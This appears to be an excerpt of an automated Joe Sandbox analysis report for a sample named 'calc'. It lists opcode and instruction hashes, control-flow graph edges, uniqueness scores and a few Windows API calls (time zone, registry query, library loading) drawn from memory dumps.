                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 96a7abf9d996eb1ab1201197d5516b5ca22b0ede3888dc9667a51734356839f3
                                                                                                                                                            • Instruction ID: d48d2565f970848ece5a5c94bf8c9ae5d6cb592ecc722a6d46fffe4f34e106e1
                                                                                                                                                            • Opcode Fuzzy Hash: 96a7abf9d996eb1ab1201197d5516b5ca22b0ede3888dc9667a51734356839f3
                                                                                                                                                            • Instruction Fuzzy Hash: 713121B1E002298BEB18CFA6D8457DEFBB3AFC5304F14C4AAC808A7255DB7546868F51
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 114 795d4ee-795d4f1 115 795d486-795d4b6 114->115 116 795d4f3-795d4f4 114->116 118 795d4bb-795d4c6 115->118 117 795d4f6-795d5de GetTimeZoneInformation 116->117 116->118 121 795d5e7-795d69e 117->121 122 795d5e0-795d5e6 117->122 120 795d4c7-795d4e1 118->120 133 795d6d4 121->133 134 795d6a0-795d6c9 121->134 122->121 136 795d6d5 133->136 134->133 136->136
                                                                                                                                                            APIs
                                                                                                                                                            • GetTimeZoneInformation.KERNEL32(?), ref: 0795D5CB
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.375064498.0000000007950000.00000040.00000001.sdmp, Offset: 07950000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_7950000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: InformationTimeZone
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 565725191-0
                                                                                                                                                            • Opcode ID: 77f61efb4c6c7b1cc8e2e470a458a5e2986df321e4b2259f14431de01b76d024
                                                                                                                                                            • Instruction ID: 38c5a1d92ab0e46da9de4fa3fdfd7342b6a057b6700c47451c40b6dd3c12a7a5
                                                                                                                                                            • Opcode Fuzzy Hash: 77f61efb4c6c7b1cc8e2e470a458a5e2986df321e4b2259f14431de01b76d024
                                                                                                                                                            • Instruction Fuzzy Hash: F95127B59002289FCB25CF95C984BC9BBF5EF49304F0085E9D649AB220DB709A85CF95
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 138 7e63dc8-7e63e57 140 7e63e6b-7e63e76 138->140 141 7e63e59-7e63e68 138->141 142 7e63e8d-7e63ef8 RegQueryValueExW 140->142 143 7e63e78-7e63e8a 140->143 141->140 144 7e63f01-7e63f50 142->144 145 7e63efa-7e63f00 142->145 143->142 148 7e63f52 144->148 149 7e63f5a 144->149 145->144 148->149
                                                                                                                                                            APIs
                                                                                                                                                            • RegQueryValueExW.KERNEL32(?,?,?,?,?,?), ref: 07E63EE8
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.375176984.0000000007E60000.00000040.00000001.sdmp, Offset: 07E60000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_7e60000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: QueryValue
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 3660427363-0
                                                                                                                                                            • Opcode ID: db65ceaed3d2409711b766eb83e1e78a767201e94bc8b3feedb3641a557f7d76
                                                                                                                                                            • Instruction ID: b18e1060025fee3193bfce0acbfa8b4d179d2e4942f775e1f6ccac5356e6335d
                                                                                                                                                            • Opcode Fuzzy Hash: db65ceaed3d2409711b766eb83e1e78a767201e94bc8b3feedb3641a557f7d76
                                                                                                                                                            • Instruction Fuzzy Hash: E651C8B4D002189FDF24CFA9C888ADEBBF1BB49300F24902AE818BB250D7759985CF54
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 167 7e6274c-7e65195 169 7e65197-7e651a6 167->169 170 7e651a9-7e65215 LoadLibraryExW 167->170 169->170 173 7e65217-7e6521d 170->173 174 7e6521e-7e6525d 170->174 173->174
                                                                                                                                                            APIs
                                                                                                                                                            • LoadLibraryExW.KERNEL32(?,?,?), ref: 07E65205
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.375176984.0000000007E60000.00000040.00000001.sdmp, Offset: 07E60000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_7e60000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: LibraryLoad
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 1029625771-0
                                                                                                                                                            • Opcode ID: 88026a5068a75d1520b7da850e2389dde738341db25bd775af2f41a287c92566
                                                                                                                                                            • Instruction ID: 6d9d280353430ea2866d6f8caa5e6bc469876c9d3377e2a596ee111bdb24331c
                                                                                                                                                            • Opcode Fuzzy Hash: 88026a5068a75d1520b7da850e2389dde738341db25bd775af2f41a287c92566
                                                                                                                                                            • Instruction Fuzzy Hash: BA4178B4E012589FCB10CFA9D988A9EFBF5BB49314F14902AE918BB210D774A945CF94
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID: @
                                                                                                                                                            • API String ID: 0-2766056989
                                                                                                                                                            • Opcode ID: 2b1d8c9ebaf9a24e006e605e25c31e457ac88b16fd73f7ea1ed5f516a0c26fda
                                                                                                                                                            • Instruction ID: 2b339c78f5c0af82a6c1c4ea51a64ad514c6525beaa2b6bc6d91d1f2c4fed88f
                                                                                                                                                            • Opcode Fuzzy Hash: 2b1d8c9ebaf9a24e006e605e25c31e457ac88b16fd73f7ea1ed5f516a0c26fda
                                                                                                                                                            • Instruction Fuzzy Hash: CB3129B4D1021A8FCB44DF99C4819AEFBF5FF48314F14806AE618AB355D730A941CFA4
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID: @
                                                                                                                                                            • API String ID: 0-2766056989
                                                                                                                                                            • Opcode ID: 311828943c4feeebdc5cef43d289d68968358587c5689d5ab8f83554f1a5006c
                                                                                                                                                            • Instruction ID: 925eac55ed2127f78c63f3136770cb763c0a252c187b25e24f5d5c60a2c36581
                                                                                                                                                            • Opcode Fuzzy Hash: 311828943c4feeebdc5cef43d289d68968358587c5689d5ab8f83554f1a5006c
                                                                                                                                                            • Instruction Fuzzy Hash: 7521F6B4E1021A8FCB44DF99C4859AEFBF5FF88314F10846AE618A7355D734A941CFA0
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 974445689ffc871a94908af0ae84019f57736e05d7e0ba93062d34735a081e5c
                                                                                                                                                            • Instruction ID: 5b08b68752b994b900c609a629909794ecb4624f57120d4e4d8e5c0a08d9bd02
                                                                                                                                                            • Opcode Fuzzy Hash: 974445689ffc871a94908af0ae84019f57736e05d7e0ba93062d34735a081e5c
                                                                                                                                                            • Instruction Fuzzy Hash: 9CE1C074E01218CFCB95DFA8D588A9DBBB2BF4C315F10856AD812AB354C7359C86CF60
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 69216f69193c26cfd05d066f11c7c6b760f914da7a5222f057c5703388c377b7
                                                                                                                                                            • Instruction ID: 5aa5bd8a5de7099a040b677792ecd3a0f9fa52e6d2624a1962f61d19ea8b2f2a
                                                                                                                                                            • Opcode Fuzzy Hash: 69216f69193c26cfd05d066f11c7c6b760f914da7a5222f057c5703388c377b7
                                                                                                                                                            • Instruction Fuzzy Hash: 7FF1D234E11229CFDB64DF64C984B9DBBB6FF49304F1086AAD949A7250DB306A85CF81
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: d970d363651c6d7f18e83813ce22b356eda47732583259c9078a3f8558634688
                                                                                                                                                            • Instruction ID: 759304c62f4624db847ec48758c84a743bbc682634ca89e8b6eeed88a3fd462d
                                                                                                                                                            • Opcode Fuzzy Hash: d970d363651c6d7f18e83813ce22b356eda47732583259c9078a3f8558634688
                                                                                                                                                            • Instruction Fuzzy Hash: F6E1D274E01218CFCBA5DFA8D588A9DBBB2FF48315F60816AD816AB354C7359C86CF50
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: f3042d7ef645a507d06f53d6bf8f3381ab671e44bb05fd9fdc2f747056168983
                                                                                                                                                            • Instruction ID: bd6b6feb106dbb898c73cb90f664e296f0f91fde85899172ded3eefd2353e6c2
                                                                                                                                                            • Opcode Fuzzy Hash: f3042d7ef645a507d06f53d6bf8f3381ab671e44bb05fd9fdc2f747056168983
                                                                                                                                                            • Instruction Fuzzy Hash: F4910774E10219CFDB48EFA4C584BADBBF6FF89304F248469D409AB395DB36A841CB10
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 24594e5034cfff657830b1a562046fb9e37ac10cc1c8a9663b341f4fd75df382
                                                                                                                                                            • Instruction ID: 6906ce4754ee89babc0e2b24206a784b211d0185918627977914741e2d3a6f68
                                                                                                                                                            • Opcode Fuzzy Hash: 24594e5034cfff657830b1a562046fb9e37ac10cc1c8a9663b341f4fd75df382
                                                                                                                                                            • Instruction Fuzzy Hash: 4291D174E00219AFCB44DFA9D988AADBBF2FF48305F10842AE815AB354DB349955CF50
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 8d4df7d19125a9cf3a273b9464872983d628100ce679d8938863038ecd84d6b9
                                                                                                                                                            • Instruction ID: 35bfd363e71a193a2059f2a8ffa18c739902d34a49bd1e8239cb5dcea40d4e5d
                                                                                                                                                            • Opcode Fuzzy Hash: 8d4df7d19125a9cf3a273b9464872983d628100ce679d8938863038ecd84d6b9
                                                                                                                                                            • Instruction Fuzzy Hash: 5391E274E00219AFDF48DFE9D948AAEBBB2FF48304F11842AE815AB354DB349955CF50
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 276712fcdea90bea83a992403349ed0052946e73de0763cf87deefcac775b2fd
                                                                                                                                                            • Instruction ID: 485cf114525481cd429633391b7978e4d825e2ab0d7fda628ebd7f7cd18622a6
                                                                                                                                                            • Opcode Fuzzy Hash: 276712fcdea90bea83a992403349ed0052946e73de0763cf87deefcac775b2fd
                                                                                                                                                            • Instruction Fuzzy Hash: B5713774E102198FDB49EFA4C444BAEBBB6FF99304F14807AD409AF394DB369845CB50
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 0448ca3b1058c17ba6d71c8a0d573d7d6133ad0cc2f43b8eb22ed1e64ce9db96
                                                                                                                                                            • Instruction ID: 56b1d1d165e64c7ac595e56d61b5a337278785d30a97e2375b631cc7b12e4d62
                                                                                                                                                            • Opcode Fuzzy Hash: 0448ca3b1058c17ba6d71c8a0d573d7d6133ad0cc2f43b8eb22ed1e64ce9db96
                                                                                                                                                            • Instruction Fuzzy Hash: 8361C374E002199FCB48DFA9C5849DEFBB2FF88304F11856AE915AB355DB31A941CFA0
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 81251e6aacffdaa19ab3884dc5bd40f14b0f416f5d99d77e6c5db3a3582af284
                                                                                                                                                            • Instruction ID: e620fbc034ab47a4be6be162b672da08fb90945e7bfa1a5bb4d61a102e5809f8
                                                                                                                                                            • Opcode Fuzzy Hash: 81251e6aacffdaa19ab3884dc5bd40f14b0f416f5d99d77e6c5db3a3582af284
                                                                                                                                                            • Instruction Fuzzy Hash: 7561AF74E012188FCB49DFA9D5849EDBBF2BF88201F1484AAE915B7351CB31AE41CF60
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 31398c06384b135aa5642cbac2f1988f9af68cf94c0d8208e407d927b195a957
                                                                                                                                                            • Instruction ID: ca58ea9dc0a71eb0c63351cbff8783266baacce4aa5b104c2174b5deb6075fad
                                                                                                                                                            • Opcode Fuzzy Hash: 31398c06384b135aa5642cbac2f1988f9af68cf94c0d8208e407d927b195a957
                                                                                                                                                            • Instruction Fuzzy Hash: F3513370E012189FCB45DFA9D8849DEFBF6EF48204F14846AE444A7320DB309985CFA1
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: fe68996203ad978e82da63fa8d01915fdfda4b9b5a817a216d3275dd26ab2fd5
                                                                                                                                                            • Instruction ID: b8decb11cfadf70c259cfcece09f727e225662aa6d8817e9ad17c30f9599e98a
                                                                                                                                                            • Opcode Fuzzy Hash: fe68996203ad978e82da63fa8d01915fdfda4b9b5a817a216d3275dd26ab2fd5
                                                                                                                                                            • Instruction Fuzzy Hash: 67518174E102189FCB44DFA9D488AADBBF5FF4C315F10806AE916A7361DB34A945CF50
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 7afcf4b4efa67fab922d2bcb95dbe092ddce42a3c883af4069c98431b48e3cf3
                                                                                                                                                            • Instruction ID: 4312d0c9067f68a8bfeaea25ee6f9467e5af5101e0b3e0812ded4230366f03c8
                                                                                                                                                            • Opcode Fuzzy Hash: 7afcf4b4efa67fab922d2bcb95dbe092ddce42a3c883af4069c98431b48e3cf3
                                                                                                                                                            • Instruction Fuzzy Hash: 7D51EF74D112088FCB48EFA4E9849EDBBB6FF89304F24446AE901BA264DB365D45DF90
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: f26cfd355ed8720f86d267f50fc841f4c5b7b9a6b840015a0a814b590b48304c
                                                                                                                                                            • Instruction ID: 7b58392182f49d2158e4719cab1f3c7fdc9f5e44829b77f24cefb2515b7ad9b6
                                                                                                                                                            • Opcode Fuzzy Hash: f26cfd355ed8720f86d267f50fc841f4c5b7b9a6b840015a0a814b590b48304c
                                                                                                                                                            • Instruction Fuzzy Hash: 7A51EE74D11208CFCB48EFA4E9849EDBBB2FF89304F24446AE901BA264DB365D45DF90
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 804887c34349f49ceb7f00f505f684aeef166ed54b63a0e10a1e9dbadf2ac8a7
                                                                                                                                                            • Instruction ID: 5e564cc2f1d5e17f82176788bbddf8df3035256a8d6d79d1c4456fc7e9220254
                                                                                                                                                            • Opcode Fuzzy Hash: 804887c34349f49ceb7f00f505f684aeef166ed54b63a0e10a1e9dbadf2ac8a7
                                                                                                                                                            • Instruction Fuzzy Hash: 5B410171E012199FCB45DFA9D8849DEFBB6FF88314F14856AE414A7321DB309846CFA0
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: e3db66a4b22fbd758a9aef568fcdb1ffe46407f713846c40ef0053e78f7e1349
                                                                                                                                                            • Instruction ID: f149f10be3a370e2b4da748279912b3c68019cf2a284587c94f9cb2f3eceeae3
                                                                                                                                                            • Opcode Fuzzy Hash: e3db66a4b22fbd758a9aef568fcdb1ffe46407f713846c40ef0053e78f7e1349
                                                                                                                                                            • Instruction Fuzzy Hash: 30415D70A21229CFCB05EFA4D0D46AEB7B6EB99308F501469C511BB384CB399D4ACFD1
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 2da4db461740b8c04326df00ccbf405889dea869e7b17c52f67ac37d05b15d67
                                                                                                                                                            • Instruction ID: 7d08a1a2072b1e09bddc62e58bbef9f752c3635939fe2722b4e5216c73a41005
                                                                                                                                                            • Opcode Fuzzy Hash: 2da4db461740b8c04326df00ccbf405889dea869e7b17c52f67ac37d05b15d67
                                                                                                                                                            • Instruction Fuzzy Hash: 9341CD75E002199FCB44DFA9D8849DEFBB6BF88314F14852AE914A7324DB30A945CFA0
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 28fdf99810516eeac0e36353c397dcc8ff27193aee4935681198735e316c9ccc
                                                                                                                                                            • Instruction ID: 394d426a28d54e890c60030f677199049739e690b58454458fc32b1c9d6f343e
                                                                                                                                                            • Opcode Fuzzy Hash: 28fdf99810516eeac0e36353c397dcc8ff27193aee4935681198735e316c9ccc
                                                                                                                                                            • Instruction Fuzzy Hash: 3141CF74E012199FDB48DFA9D544ADEBBF2BF88210F14846AE915BB360DB315941CF60
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 4212bd239822c637ade89ac6bbfb521c9185bc1764651689d01ea876fc6e3759
                                                                                                                                                            • Instruction ID: c7ccdcb729ef79c69bb0a6ac78a35d5d607716b06fa0781d1907130f00e98547
                                                                                                                                                            • Opcode Fuzzy Hash: 4212bd239822c637ade89ac6bbfb521c9185bc1764651689d01ea876fc6e3759
                                                                                                                                                            • Instruction Fuzzy Hash: EE415A30D1125AEFCB04DBA5E8849DEFBB5FF89305F20C26AE415A7251DB30A946CB90
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 04b09707227e97c354f2b34a6e8930816ce213cf0bfe31b7a724ea8d49a07976
                                                                                                                                                            • Instruction ID: 0a0d1d20ca80aae247823be3de5da18fc9dc0582c340a5d2a557312d978d590b
                                                                                                                                                            • Opcode Fuzzy Hash: 04b09707227e97c354f2b34a6e8930816ce213cf0bfe31b7a724ea8d49a07976
                                                                                                                                                            • Instruction Fuzzy Hash: 2A418E74E102189FDB48DFA9D544AEEBBF6FF88214F10842AE915B7364DB315942CFA0
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: c842e9db1b01dc5388e153e5bd157cf982a76f4284efa618bc6d2762ef6b6972
                                                                                                                                                            • Instruction ID: dbf76e418daaf4ec5ae7869e3586f822720c277153d46af6e6fe75064dbd574a
                                                                                                                                                            • Opcode Fuzzy Hash: c842e9db1b01dc5388e153e5bd157cf982a76f4284efa618bc6d2762ef6b6972
                                                                                                                                                            • Instruction Fuzzy Hash: ED314730E452189FCB45DFE9E9449EEFBB6FF48204F10846AE454AB361DB309945CFA1
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: dff7fe183c99f19a44857ec7f1fe3fd39fd816ce2f55d70a63cc252ad01480d6
                                                                                                                                                            • Instruction ID: 0b60f588a6cd8e3f532ec4ab188b3a6af548de8c107bd22ce0ee55a82277582d
                                                                                                                                                            • Opcode Fuzzy Hash: dff7fe183c99f19a44857ec7f1fe3fd39fd816ce2f55d70a63cc252ad01480d6
                                                                                                                                                            • Instruction Fuzzy Hash: CF412730D1021AEFCB04DBA5E8849DEFBB5FF98305F20C66AE51567250DB30A946CF90
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
